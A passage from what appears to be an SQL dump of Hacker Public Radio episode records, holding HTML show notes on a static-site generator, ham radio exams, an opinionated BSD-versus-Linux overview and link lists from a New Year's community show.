id=\"missing-data\">Missing data</h2>\n<ul>\n<li>host profiles - web page, avatars</li>\n<li>tags</li>\n<li>series</li>\n<li>Summary - The short 100 character summary of what your show is about</li>\n<li>License</li>\n<li>Other pages on the HPR site.\n<ul>\n<li>What you need to know</li>\n<li>How to help out</li>\n<li>Requested topics</li>\n<li>...</li>\n</ul></li>\n</ul>\n<h2 id=\"how-does-it-work\">How does it work</h2>\n<ul>\n<li>Peewee to read from sqlite file</li>\n<li>Python aggregates the appropriate data</li>\n<li>Jinja Templates for\n<ul>\n<li>index - passed data from most recent shows</li>\n<li>All shows</li>\n<li>host page</li>\n<li>corespondents - all host</li>\n</ul></li>\n</ul>\n<h3 id=\"todo\">TODO</h3>\n<ul>\n<li>Incorporate Comment feed</li>\n<li>Generate static copy of RSS feed.</li>\n<li>Copy content from HPR pages that are not in the RSS feed.</li>\n<li>Generate Tags from Keywords in the show notes.</li>\n<li>Only use the Full Feed on the first run.</li>\n</ul>\n<h3 id=\"links\">Links</h3>\n<ul>\n<li>Project - <a href=\"https://gitlab.com/norrist/hprfeed2db\" class=\"uri\">https://gitlab.com/norrist/hprfeed2db</a> - Suggestions/Pull Requests are welcome</li>\n<li>Example site - <a href=\"https://hpr.norrist.xyz/\" class=\"uri\">https://hpr.norrist.xyz/</a></li>\n</ul>\n',342,0,0,'CC-BY-SA','python, rss, sqlite',0,0,1),
(3661,'2022-08-15','Ham Radio testing',361,'Study and testing for the ARRL Ham license','<h4 id=\"study-tools\">Study tools</h4>\n<ul>\n<li><a href=\"https://hamstudy.org\" title=\"HamStudy.org\">HamStudy.org</a></li>\n<li>HamStudy.org Offline App\n<ul>\n<li><a href=\"https://play.google.com/store/apps/details?id=org.hamstudy.mobile\" title=\"HamStudy Android app\">Android app link</a></li>\n</ul></li>\n</ul>\n<h4 id=\"arrl-american-radio-relay-league\">ARRL (American Radio Relay League)</h4>\n<ul>\n<li><a href=\"http://www.arrl.org/find-an-amateur-radio-license-exam-session\" title=\"Find an Amateur Radio License Exam Session\">ARRL Find an Amateur Radio License Exam Session</a></li>\n</ul>\n<h4 id=\"pictures\">Pictures</h4>\n<p><em>Picture of sign on the test day</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3661/Test_day_sign.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3661/Test_day_sign_thumbnail.png\" alt=\"Picture of sign on the test day\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\n<p><em>Picture of Masonic Lodge sign</em><br />\n<a href=\"https://hackerpublicradio.org/eps/hpr3661/Lodge_sign.png\"><img src=\"https://hackerpublicradio.org/eps/hpr3661/Lodge_sign_thumbnail.png\" alt=\"Picture of Masonic Lodge sign\" /></a> <br/><small><small><em>Click the thumbnail to see the full-sized image</em></small></small> </p>\n',318,43,0,'CC-BY-SA','ham radio, ARRL, testing',0,0,1),
(3655,'2022-08-05','BSD for Linux users',4073,'I attempt to explain the wacky and wonderful world of BSD in a Linux friendly way','<h1 >UNIX, Linux, and BSD</h1>\n<blockquote><p><q>Linux was created by PC users attempting to use mainframe UNIX. BSD was created by mainframe UNIX users attempting to use a PC.</q></p></blockquote>\n<p>BSD is what I like to call a “Pedigree UNIX”, meaning that it is a pure blooded descendant of AT&amp;T UNIX. Although all of the original AT&amp;T code has been re-written so a permissive license, the heritage persists.</p>\n<p>In contrast to Linux (which shares no original Bell Labs code), BSD was originally all Labs code.</p>\n<h1 >BSD in the wild</h1>\n<p>BSD style licensing is quite simple to understand compared to the tome that is the GPL. Interpreting it usually goes something like follows:</p>\n<blockquote><p><q>Do whatever the hell you want with this code, just dont blame me when it breaks something and dont claim you wrote it</q></p></blockquote>\n<p>Permissive licensing means that various companies can put lipstick on the UNIX pig and falsely assert that its anything other than lipstick on the UNIX pig. Not that UNIX is a pig, but you cannot disguise a pig with lipstick. Those burdened with the gift of sight and knowledge can spot a UNIX system quite easily.</p>\n<ul >\n<li>Apple software is basically stolen BSD</li>\n<li>Windows TCP/IP stack (and ftp/rcp/rsh/ssh/scp and other various non-trash networking protocols) is basically stolen BSD</li>\n<li>Sony PlayStation is basically stolen BSD</li>\n<li>Nintendo switch is basically stolen BSD</li>\n<li>a million others that I cant be bothered to list because theyre either abandonware or are embedded in your e-toaster and internet enabled dishwasher so no one cares</li>\n</ul>\n<h1 >Interacting with BSD guys</h1>\n<p>Most Linux enthusiasts are missionaries. They are generally helpful and seek to guide the computing neophyte into the inner circle of FSF initiates.</p>\n<p>The BSD guys tend to be like hermits. They dont care if you use their code, they only care that the code works for them. When you ask for help, a typical response will be “did you even read the error logs?” or “did you even RTFM? What about supplemental documentation? We didnt write TFM just so you could go online and ask something clearly documented in TFM.”</p>\n<p>Not all BSD guys are bitter, but you really should consult available resources before asking questions</p>\n<h1 >Forking vs distros</h1>\n<p>In Linux land, all the distros are basically the same with varying coats of paint. We call these distributions because all “implementations” of linux are nearly identical code bases built with varying compile time options.</p>\n<p>In BSD land, distros dont exist. Free/Net/Open are entirely independent and dont share a common upstream. They are forks of primordial BSD that run separate kernels, separate userlands, etc. Although code is shared amongst each other, a statically linked binary cant simply be dumped from one to another and still run as it would in Linux land.</p>\n<p>Meta-distos of FreeBSD do exist but they are short lived unless they have corporate backers.</p>\n<h1 >Idiots guide to picking a BSD</h1>\n<blockquote><p><q>I want basically Linux desktop out of the box but with a BSD kernel so I can look cool when I post a neofetch screenshot to the /g/ desktop thread!!</q></p></blockquote>\n<p>Selecting a FreeBSD fork that comes with a desktop is your goto. The currently maintained desktop distros are HelloSystems, GhostBSD, NomadBSD, and MidnightBSD.</p>\n<blockquote><p><q>I want a viable desktop operating system</q></p></blockquote>\n<p>FreeBSD with a non-GNOME DE is fairly reliable. Ive had success with KDE, XFCE, and various tiling window managers. GNOME is too reliant on systemd so the port is janky.</p>\n<blockquote><p><q>I want something to learn by example with</q></p></blockquote>\n<p>OpenBSD is a great learning platform. The source code for userland utils is simple, short, and generally free from OS specific function calls. RTFM goes by the wayside when you easily RTFSC.</p>\n<blockquote><p><q>I want to prevent foot shooting incidents</q></p></blockquote>\n<p>OpenBSD eliminates many foot shooting scenarios by being a thorn in the side of the user who wants to do stupid things</p>\n<blockquote><p><q>I want to run UNIX to an obscure device</q></p></blockquote>\n<p>OpenBSD runs on a lot of architectures: i386, amd64, arm64, arm7, alpha, sparc64, risc64, ppc64, etc. The devs self-host these ports (ie build the release on a physical processor instead of cross compiling). This means that the alpha port is actually built on a VAX machine, the sparc port is actually built on a sparc machine, etc.</p>\n<p>NetBSD runs on everything.</p>\n<blockquote><p><q>I cant decide!!! Pick one for me!!!</q></p></blockquote>\n<p>Just go with FreeBSD. It feels a lot like old Debian.</p>\n<h1 >Hardware</h1>\n<p>Lenovo Thinkpads are bulletproof. Buy something on ebay. Dell desktops generally work quite well. Intel components are most stable. You will suffer less if you can find a pure Intel machine. The biggest things to look for are an intel CPU, intel wireless chipset, intel integrated graphics, and an intel sticker. Vpro vs no vpro doesnt seem to make a difference in my anecdotal experience.</p>\n<blockquote><p><q>But what about a GPU????</q></p></blockquote>\n<p>no.</p>\n<h1 >FreeBSD</h1>\n<h3 >Goal: general purpose, easy to use operating system</h3>\n<h3 >Use cases: server, desktop, NAS, hypervisor</h3>\n<h3 >Features:</h3>\n<ul >\n<li>Core OS\n<ul >\n<li>system feels clean and organized.\n<ul >\n<li>Everything required to boot the system is in /</li>\n<li>Everything not required to boot the system is in /usr/local</li>\n</ul></li>\n<li>ZFS boot environments allow modification and upgrading without worrying</li>\n<li>Familiar enough to linux users</li>\n<li>System feels well integrated instead of hacked together like a GNU+/Linux</li>\n</ul></li>\n<li>storage\n<ul >\n<li>UFS is dead, long live ZFS (the only actually good RAID)</li>\n<li>Disk encryption via GELI and encrypted ZVOLS</li>\n</ul></li>\n<li>Third party software\n<ul >\n<li>Largest ports system of the BSDs</li>\n<li>Can install precompiled packages with the pkg utility or compile yourself via the ports tree</li>\n</ul></li>\n<li>Jails\n<ul >\n<li>Like a chroot but actually secure</li>\n<li>Like docker but without the aspect of downloading random stuff from github</li>\n<li>all jails share a kernel but have separate hostnames, ip addrs, etc</li>\n</ul></li>\n<li>Virtualization\n<ul >\n<li>bhyve hypervisor, similar to kvm</li>\n</ul></li>\n<li>Security\n<ul >\n<li>Capsicum (sandboxing framework)</li>\n<li>ACLs</li>\n</ul></li>\n<li>OS compat layers\n<ul >\n<li>Linux compat layer (can even run steam).</li>\n<li>wine</li>\n</ul></li>\n<li>Documentation\n<ul >\n<li><a href=\"https://docs.freebsd.org/en/books/handbook/\">FreeBSD handbook</a></li>\n</ul></li>\n</ul>\n<h3 >Detriments:</h3>\n<ul >\n<li>storage\n<ul >\n<li>UFS is not journaled by default, just use ZFS</li>\n</ul></li>\n<li>Virtualization\n<ul >\n<li>there is a virtualbox port</li>\n</ul></li>\n<li>Security\n<ul >\n<li>Fast rather than secure by default</li>\n<li>read security(7) and youll be fine</li>\n</ul></li>\n</ul>\n<h1 >OpenBSD</h1>\n<h3 >Goal: simplicity, portability, standardization, correctness, proactive security, and integrated cryptography</h3>\n<h3 >Use Cases: Networking appliances, desktops, servers</h3>\n<h3 >Merits:</h3>\n<ul >\n<li>Core OS\n<ul >\n<li>webcam and microphone disabled by default</li>\n</ul></li>\n<li>Security\n<ul >\n<li>API changes to prevent foot shooting (ie strlcpy and strlcat because string functions in C are a memory leak waiting to happen).</li>\n<li>kernel is randomly relinked and randomized at boot time</li>\n<li>Memory protection\n<ul >\n<li>W^X protection means that memory is either exclusively writable or exclusively executable</li>\n<li>mallocd memory is randomly allocated (bonus: makes buggy programs segfualt loudly)</li>\n</ul></li>\n<li>Crypto\n<ul >\n<li>full disk encryption (including swap)</li>\n<li>various algos</li>\n<li>TCP/IP stack randomizes things to reduce predictibality</li>\n</ul></li>\n<li>Xenocara\n<ul >\n<li>X11 fork</li>\n<li>privilege separation (ie all Xsessions dont run as root)</li>\n</ul></li>\n<li>Pledge/unveil syscalls\n<ul >\n<li>pledge restricts process capabilities, kernel kills misbehaving processes</li>\n<li>unveil restricts filesystem access to a minimul level</li>\n</ul></li>\n<li>All of the standard daemons run in a chroot with privilege separation</li>\n<li>ASLR</li>\n<li>A million other things</li>\n</ul></li>\n<li>Third party software\n<ul >\n<li>Everything you need is in the base system. Some of what you want is available via ports or pkg_add</li>\n</ul></li>\n<li>Subprojects:\n<ul >\n<li>CARP, doas (like sudo but less spaghetti), OpenBSD httpd, LibreSSL, OpenBGPD, OpenNTPD, OpenSMTPD, OpenSSH, pf (the only easy to use firewall), spamd (email filter that plugs into pf), a million other things</li>\n</ul></li>\n<li>Virtualization\n<ul >\n<li>vmm and vmd</li>\n</ul></li>\n<li>Documentation\n<ul >\n<li><a href=\"https://www.openbsd.org/faq/\">FAQ</a></li>\n<li><a href=\"https://www.openbsdhandbook.com/\">Handbook</a></li>\n</ul></li>\n<li>Source code is the only good “learn by example” for C</li>\n</ul>\n<h3 >Demerits:</h3>\n<ul >\n<li>Security features can cause slowness</li>\n<li>sometimes you cant shoot your foot even if you really really want to</li>\n<li>critics claim its all security theater</li>\n<li>Requires opening vulnerabilities back up if you want a “Just Werks™” Linux desktop experience</li>\n<li>No MAC</li>\n</ul>\n<h1 >NetBSD</h1>\n<h3 >Goal: clean and careful design, scalability, portability</h3>\n<h3 >Use cases: server, embedded, desktop if youre a flagellant</h3>\n<h3 >Features:</h3>\n<ul >\n<li>Portability\n<ul >\n<li><a href=\"https://netbsd.org/ports/\">It actually runs everywhere</a></li>\n<li>Designed for cross compiling (via build.sh)</li>\n</ul></li>\n<li><a href=\"https://www.pkgsrc.org/\">pkgsrc</a>\n<ul >\n<li>UNIX and arch agnostic third party packing framework</li>\n</ul></li>\n<li>virtualization\n<ul >\n<li>xen</li>\n<li>nvmm (similar to kvm, works with qemu)</li>\n</ul></li>\n<li>storage\n<ul >\n<li>a bunch of filesystems, including journaling UFS and ZFS</li>\n<li>LVM</li>\n</ul></li>\n<li>entirely POSIX compliant</li>\n<li>kernel is scriptable with Lua</li>\n</ul>\n<h3 >Demerits:</h3>\n<ul >\n<li>havent used it enough to die the death of a thousand papercuts</li>\n</ul>\n\n',406,0,1,'CC-BY-SA','BSD, UNIX, FreeBSD, OpenBSD, NetBSD',0,0,1),
(3663,'2022-08-17','How I got into Tech',358,'Follow-up episode about how I got into tech','<p>From deleting command.com in Windows 95 to tinkering with circuitpython, this is a brief introduction of how I got into tech</p>\n',408,29,0,'CC-BY-SA','tech, personal history, introductions',0,0,1),
(3662,'2022-08-16','2021-2022 New Years Show Part 1',11138,'The HPR community comes together to chat','<h2 id=\"hacker-public-radio-new-years-eve-show-2021---2022\">Hacker Public Radio New Years Eve Show 2021 - 2022</h2>\n<h3 id=\"part-1\">Part 1</h3>\n<h4 id=\"t100000z\">2021-12-31T10:00:00Z</h4>\n<p>Welcome to the 9th Annual Hacker Public Radio show. It is December the 31st 2021 and the time is 10 hundred hours UTC. We start the show by sending Greetings to Christmas Island/Kiribati and Samoa Kiritimati, Apia.</p>\n<p>LINT Christmas Island/Kiribati Kiritimati</p>\n<p>Ken and Honkey talk about setting up streaming</p>\n<p>Mumble &#x2192; Client (Butt) &#x2192; Ice Cast</p>\n<p><a href=\"https://www.mumble.info/downloads/\" class=\"uri\">https://www.mumble.info/downloads/</a></p>\n<p><a href=\"https://danielnoethen.de/butt/\" class=\"uri\">https://danielnoethen.de/butt/</a></p>\n<p><a href=\"https://icecast.org/\" class=\"uri\">https://icecast.org/</a></p>\n<p><a href=\"http://www.darkice.org/\" class=\"uri\">http://www.darkice.org/</a></p>\n<p>Ken and Honkey talk about COVID-19 Omicron Variant</p>\n<p><a href=\"https://www.cdc.gov/coronavirus/2019-ncov/variants/omicron-variant.html\" class=\"uri\">https://www.cdc.gov/coronavirus/2019-ncov/variants/omicron-variant.html</a></p>\n<p><a href=\"https://www.alzheimers.org.uk/get-support/coronavirus/about-coronavirus\" class=\"uri\">https://www.alzheimers.org.uk/get-support/coronavirus/about-coronavirus</a></p>\n<p>Ken, Honkey, and Netminer talk about mental health, Asperger\'s Syndrome, Eli The Computer Guy</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Asperger_syndrome\" class=\"uri\">https://en.wikipedia.org/wiki/Asperger_syndrome</a></p>\n<p><a href=\"https://www.webmd.com/brain/autism/mental-health-aspergers-syndrome\" class=\"uri\">https://www.webmd.com/brain/autism/mental-health-aspergers-syndrome</a></p>\n<p><a href=\"https://aspergersfromtheinside.com/\" class=\"uri\">https://aspergersfromtheinside.com/</a></p>\n<p><a href=\"https://www.youtube.com/channel/UC-FpBZR7DbpvNj5UrFN8qUA\" class=\"uri\">https://www.youtube.com/channel/UC-FpBZR7DbpvNj5UrFN8qUA</a></p>\n<p><a href=\"https://www.youtube.com/c/Elithecomputerguypage\" class=\"uri\">https://www.youtube.com/c/Elithecomputerguypage</a></p>\n<p>Ken gets his HAM radio license</p>\n<p><a href=\"http://www.arrl.org/getting-licensed\" class=\"uri\">http://www.arrl.org/getting-licensed</a></p>\n<p>Ken talks about rebuilding the house</p>\n<p>Growing up in the 60\'s</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Andrew_Greeley\" class=\"uri\">https://en.wikipedia.org/wiki/Andrew_Greeley</a></p>\n<p><a href=\"https://www.goodreads.com/book/show/1197497.The_High_Tech_Knight\" class=\"uri\">https://www.goodreads.com/book/show/1197497.The_High_Tech_Knight</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Leo_Frankowski\" class=\"uri\">https://en.wikipedia.org/wiki/Leo_Frankowski</a></p>\n<p>What is a Dunny?</p>\n<p><a href=\"https://www.warrenfahey.com.au/the-dunny-a-history/\" class=\"uri\">https://www.warrenfahey.com.au/the-dunny-a-history/</a></p>\n<p><a href=\"https://www.pinterest.com.au/rosepat52/old-aussie-dunnies/\" class=\"uri\">https://www.pinterest.com.au/rosepat52/old-aussie-dunnies/</a></p>\n<p>Farming Talk</p>\n<p>Isaac &amp; James <a href=\"https://www.facebook.com/IsaacenJames/?fref=mentions&amp;__tn__=K-R\" class=\"uri\">https://www.facebook.com/IsaacenJames/?fref=mentions&amp;__tn__=K-R</a></p>\n<p>More Amateur Radio</p>\n<p>Harmonised Amateur Radio Examination Certificate (HAREC)</p>\n<p><a href=\"http://www.zs6mrk.org/RAE%20Handleiding/The-HAREC-syllabus---CEPT-T_R-61-02-Annex-6---Class-A-only.PDF\" class=\"uri\">http://www.zs6mrk.org/RAE%20Handleiding/The-HAREC-syllabus---CEPT-T_R-61-02-Annex-6---Class-A-only.PDF</a></p>\n<p>Raspberry Pi 400 Chat &amp; Makulu Linux (installs Android APKs)</p>\n<p><a href=\"https://www.raspberrypi.com/products/raspberry-pi-400/\" class=\"uri\">https://www.raspberrypi.com/products/raspberry-pi-400/</a></p>\n<p><a href=\"http://www.makululinux.com/wp/\" class=\"uri\">http://www.makululinux.com/wp/</a></p>\n<p><a href=\"https://distrowatch.com/table.php?distribution=makulu\" class=\"uri\">https://distrowatch.com/table.php?distribution=makulu</a></p>\n<p>Honkey Talks about his Pi4 and Steamlink, Diet Pi , Etcher + more</p>\n<p><a href=\"https://store.steampowered.com/app/353380/Steam_Link/\" class=\"uri\">https://store.steampowered.com/app/353380/Steam_Link/</a></p>\n<p><a href=\"https://play.google.com/store/apps/details?id=com.valvesoftware.steamlink&amp;hl=en_US&amp;gl=US\" class=\"uri\">https://play.google.com/store/apps/details?id=com.valvesoftware.steamlink&amp;hl=en_US&amp;gl=US</a></p>\n<p><a href=\"https://apps.apple.com/us/app/steam-link/id1246969117\" class=\"uri\">https://apps.apple.com/us/app/steam-link/id1246969117</a></p>\n<p><a href=\"https://dietpi.com/\" class=\"uri\">https://dietpi.com/</a></p>\n<p><a href=\"https://etcher.download/\" class=\"uri\">https://etcher.download/</a></p>\n<p><a href=\"https://github.com/raspberrypi/rpi-imager\" class=\"uri\">https://github.com/raspberrypi/rpi-imager</a></p>\n<p>Archiving Old Vinyl</p>\n<p><a href=\"https://www.raspberrypi.com/news/hi-fi-raspberry-pi/\" class=\"uri\">https://www.raspberrypi.com/news/hi-fi-raspberry-pi/</a></p>\n<p><a href=\"https://www.youtube.com/watch?v=zWGU0lk_fr4\" class=\"uri\">https://www.youtube.com/watch?v=zWGU0lk_fr4</a></p>\n<p>Tony H. Netminer &amp; Dave Chat</p>\n<p><a href=\"https://distrohoppersdigest.blogspot.com/\" class=\"uri\">https://distrohoppersdigest.blogspot.com/</a></p>\n<p><a href=\"https://mintcast.org/\" class=\"uri\">https://mintcast.org/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Blackpool\" class=\"uri\">https://en.wikipedia.org/wiki/Blackpool</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Nantasket_Beach\" class=\"uri\">https://en.wikipedia.org/wiki/Nantasket_Beach</a></p>\n<p>Buying PCs/laptops with Linux pre-installed.</p>\n<p><a href=\"https://www.entroware.com/store/\" class=\"uri\">https://www.entroware.com/store/</a></p>\n<p><a href=\"https://junocomputers.com/\" class=\"uri\">https://junocomputers.com/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Asus_Eee_PC\" class=\"uri\">https://en.wikipedia.org/wiki/Asus_Eee_PC</a></p>\n<p>UK Fiber Optic ISP</p>\n<p><a href=\"https://cityfibre.com/\" class=\"uri\">https://cityfibre.com/</a></p>\n<p>Group Chat about various tech topics</p>\n<p>BSD flavors</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Berkeley_Software_Distribution\" class=\"uri\">https://en.wikipedia.org/wiki/Berkeley_Software_Distribution</a></p>\n<p><a href=\"https://www.openbsd.org/\" class=\"uri\">https://www.openbsd.org/</a></p>\n<p><a href=\"https://www.freebsd.org/\" class=\"uri\">https://www.freebsd.org/</a></p>\n<p><a href=\"https://nomadbsd.org/\" class=\"uri\">https://nomadbsd.org/</a></p>\n<p>Boxes VM Manager</p>\n<p><a href=\"https://help.gnome.org/users/gnome-boxes/stable/\" class=\"uri\">https://help.gnome.org/users/gnome-boxes/stable/</a></p>\n<p>ARPANET</p>\n<p><a href=\"https://en.wikipedia.org/wiki/ARPANET\" class=\"uri\">https://en.wikipedia.org/wiki/ARPANET</a></p>\n<p>Leena / Lena</p>\n<p>Lenna or Lena is a standard test image widely used in the field of image processing since 1973. <a href=\"https://en.wikipedia.org/wiki/Lenna\" class=\"uri\">https://en.wikipedia.org/wiki/Lenna</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Digital_Equipment_Corporation\" class=\"uri\">https://en.wikipedia.org/wiki/Digital_Equipment_Corporation</a><br />\n<a href=\"https://en.wikipedia.org/wiki/OpenVMS\" class=\"uri\">https://en.wikipedia.org/wiki/OpenVMS</a><br />\n<a href=\"https://en.wikipedia.org/wiki/DEC_Alpha\" class=\"uri\">https://en.wikipedia.org/wiki/DEC_Alpha</a><br />\n<a href=\"https://en.wikipedia.org/wiki/Tru64_UNIX\" class=\"uri\">https://en.wikipedia.org/wiki/Tru64_UNIX</a></p>\n<p>Knight TV /Tom Knight (Knight TV)</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Tom_Knight_(scientist)\" class=\"uri\">https://en.wikipedia.org/wiki/Tom_Knight_(scientist)</a></p>\n<p><a href=\"http://pdp-6.net/knight-tv/knight-tv.html\" class=\"uri\">http://pdp-6.net/knight-tv/knight-tv.html</a></p>\n<p>PDP 11</p>\n<p><a href=\"https://en.wikipedia.org/wiki/PDP-11\" class=\"uri\">https://en.wikipedia.org/wiki/PDP-11</a></p>\n<p>Haiku OS</p>\n<p><a href=\"https://www.haiku-os.org/\" class=\"uri\">https://www.haiku-os.org/</a></p>\n<p>Motorola StarMax Mac Clones</p>\n<p><a href=\"https://everymac.com/systems/motorola/index-motorola-starmax-mac-clones.html\" class=\"uri\">https://everymac.com/systems/motorola/index-motorola-starmax-mac-clones.html</a></p>\n<p>DECstation</p>\n<p><a href=\"https://en.wikipedia.org/wiki/DECstation\" class=\"uri\">https://en.wikipedia.org/wiki/DECstation</a></p>\n<p>VMS / OpenVMS</p>\n<p><a href=\"https://en.wikipedia.org/wiki/OpenVMS\" class=\"uri\">https://en.wikipedia.org/wiki/OpenVMS</a></p>\n<p>DEC Alpha</p>\n<p><a href=\"https://en.wikipedia.org/wiki/DEC_Alpha\" class=\"uri\">https://en.wikipedia.org/wiki/DEC_Alpha</a></p>\n<p><a href=\"https://www.techopedia.com/definition/18752/dec-alpha\" class=\"uri\">https://www.techopedia.com/definition/18752/dec-alpha</a></p>\n<p>Ultrix</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ultrix\" class=\"uri\">https://en.wikipedia.org/wiki/Ultrix</a></p>\n<p>PowerMac G5</p>\n<p><a href=\"https://everymac.com/systems/apple/powermac_g5/index-powermac-g5.html\" class=\"uri\">https://everymac.com/systems/apple/powermac_g5/index-powermac-g5.html</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Power_Mac_G5\" class=\"uri\">https://en.wikipedia.org/wiki/Power_Mac_G5</a></p>\n<p>Tru64 Unix</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Tru64_UNIX\" class=\"uri\">https://en.wikipedia.org/wiki/Tru64_UNIX</a></p>\n<p><a href=\"https://winworldpc.com/product/tru64/50\" class=\"uri\">https://winworldpc.com/product/tru64/50</a></p>\n<p>TU58</p>\n<p><a href=\"http://gunkies.org/wiki/TU58_DECtape_II\" class=\"uri\">http://gunkies.org/wiki/TU58_DECtape_II</a></p>\n<p><a href=\"http://web.frainresearch.org:8080/projects/mypdp/tu58.php\" class=\"uri\">http://web.frainresearch.org:8080/projects/mypdp/tu58.php</a></p>\n<p><a href=\"http://bitsavers.trailing-edge.com/pdf/dec/dectape/tu58/EK-0TU58-UG-001_TU58_DECtape_II_Users_Guide_Oct78.pdf\" class=\"uri\">http://bitsavers.trailing-edge.com/pdf/dec/dectape/tu58/EK-0TU58-UG-001_TU58_DECtape_II_Users_Guide_Oct78.pdf</a></p>\n<p>ICL 1900</p>\n<p><a href=\"https://en.wikipedia.org/wiki/International_Computers_Limited\" class=\"uri\">https://en.wikipedia.org/wiki/International_Computers_Limited</a></p>\n<p><a href=\"http://www.ict1900.com/\" class=\"uri\">http://www.ict1900.com/</a></p>\n<p>DECwriter</p>\n<p><a href=\"http://www.columbia.edu/cu/computinghistory/la36.html\" class=\"uri\">http://www.columbia.edu/cu/computinghistory/la36.html</a></p>\n<p><a href=\"https://vt100.net/docs/tp83/chapter14.html\" class=\"uri\">https://vt100.net/docs/tp83/chapter14.html</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/DECwriter\" class=\"uri\">https://en.wikipedia.org/wiki/DECwriter</a></p>\n<p>ISDN Phone Lines</p>\n<p><a href=\"https://uh.edu/~wrice/phone.htm\" class=\"uri\">https://uh.edu/~wrice/phone.htm</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Integrated_Services_Digital_Network\" class=\"uri\">https://en.wikipedia.org/wiki/Integrated_Services_Digital_Network</a></p>\n<p>X.25</p>\n<p><a href=\"https://www.lifewire.com/x-25-816286\" class=\"uri\">https://www.lifewire.com/x-25-816286</a></p>\n<p><a href=\"https://networkencyclopedia.com/x-25/\" class=\"uri\">https://networkencyclopedia.com/x-25/</a></p>\n<p>IMP</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Interface_Message_Processor\" class=\"uri\">https://en.wikipedia.org/wiki/Interface_Message_Processor</a></p>\n<p><a href=\"https://www.techopedia.com/definition/7692/interface-message-processor-imp\" class=\"uri\">https://www.techopedia.com/definition/7692/interface-message-processor-imp</a></p>\n<p>UK Academic Network. JANET (Joint Academic Network)</p>\n<p><a href=\"https://www.jisc.ac.uk/janet/history\" class=\"uri\">https://www.jisc.ac.uk/janet/history</a></p>\n<p>UK Academic Coloured Book Protocols</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Coloured_Book_protocols\" class=\"uri\">https://en.wikipedia.org/wiki/Coloured_Book_protocols</a></p>\n<p>Anne &amp; Lynn Wheeler</p>\n<p><a href=\"https://garlic.com/#\" class=\"uri\">https://garlic.com/#</a></p>\n<p><a href=\"https://www.garlic.com/~lynn/\" class=\"uri\">https://www.garlic.com/~lynn/</a></p>\n<p>George 3 Operating System</p>\n<p><a href=\"http://www.chilton-computing.org.uk/acl/pdfs/icl1900_intro_george3.pdf\" class=\"uri\">http://www.chilton-computing.org.uk/acl/pdfs/icl1900_intro_george3.pdf</a></p>\n<p>Hercules MVS Emulator</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Hercules_(emulator)\" class=\"uri\">https://en.wikipedia.org/wiki/Hercules_(emulator)</a></p>\n<p><a href=\"http://www.hercules-390.org/\" class=\"uri\">http://www.hercules-390.org/</a></p>\n<p>Doctor Who, K9, Ultraman, and Thunderbirds+ more</p>\n<p><a href=\"https://en.wikipedia.org/wiki/Doctor_Who%3A_The_Curse_of_Fatal_Death\" class=\"uri\">https://en.wikipedia.org/wiki/Doctor_Who%3A_The_Curse_of_Fatal_Death</a></p>\n<p><a href=\"https://www.bbc.co.uk/programmes/b006q2x0\" class=\"uri\">https://www.bbc.co.uk/programmes/b006q2x0</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Doctor_Who\" class=\"uri\">https://en.wikipedia.org/wiki/Doctor_Who</a></p>\n<p><a href=\"https://www.imdb.com/title/tt1102732/\" class=\"uri\">https://www.imdb.com/title/tt1102732/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Ultraman_(1966_TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Ultraman_(1966_TV_series)</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Thunderbirds_(TV_series)\" class=\"uri\">https://en.wikipedia.org/wiki/Thunderbirds_(TV_series)</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Supermarionation\" class=\"uri\">https://en.wikipedia.org/wiki/Supermarionation</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/Doctor_Who:_The_Curse_of_Fatal_Death\" class=\"uri\">https://en.wikipedia.org/wiki/Doctor_Who:_The_Curse_of_Fatal_Death</a></p>\n<p><a href=\"https://tardis.fandom.com/wiki/Doctor_Who_Night_(1999)\" class=\"uri\">https://tardis.fandom.com/wiki/Doctor_Who_Night_(1999)</a></p>\n<p><a href=\"https://www.youtube.com/watch?v=EfQFmZCbOfM\" class=\"uri\">https://www.youtube.com/watch?v=EfQFmZCbOfM</a></p>\n<p>Log4J Vulnerability</p>\n<p><a href=\"https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance\" class=\"uri\">https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance</a></p>\n<p>Hacker Public Radio show mention -- Fixing a Noisy Blower Motor</p>\n<p><a href=\"http://hackerpublicradio.org/eps.php?id=3499\" class=\"uri\">http://hackerpublicradio.org/eps.php?id=3499</a></p>\n<p>Netminer suggests a newsgroup</p>\n<p><code>alt.sysadmin.recovery</code> Sysadmin humor Better than a 45 to that damn server. .</p>\n<p>Nike Missile Site mention</p>\n<p><a href=\"http://ed-thelen.org/\" class=\"uri\">http://ed-thelen.org/</a></p>\n<p><a href=\"https://en.wikipedia.org/wiki/List_of_Nike_missile_sites\" class=\"uri\">https://en.wikipedia.org/wiki/List_of_Nike_missile_sites</a></p>\n<p>\"Bubba shot the Jukebox\" song reference.</p>\n<p><a href=\"https://www.youtube.com/watch?v=qbQW7rDOPxI\" class=\"uri\">https://www.youtube.com/watch?v=qbQW7rDOPxI</a></p>\n<p>ClaudioM\'s Blog - Hello from the End of 2021!:<br />\n<a href=\"https://claudiomiranda.wordpress.com/2021/12/31/hello-from-the-end-of-2021/\" 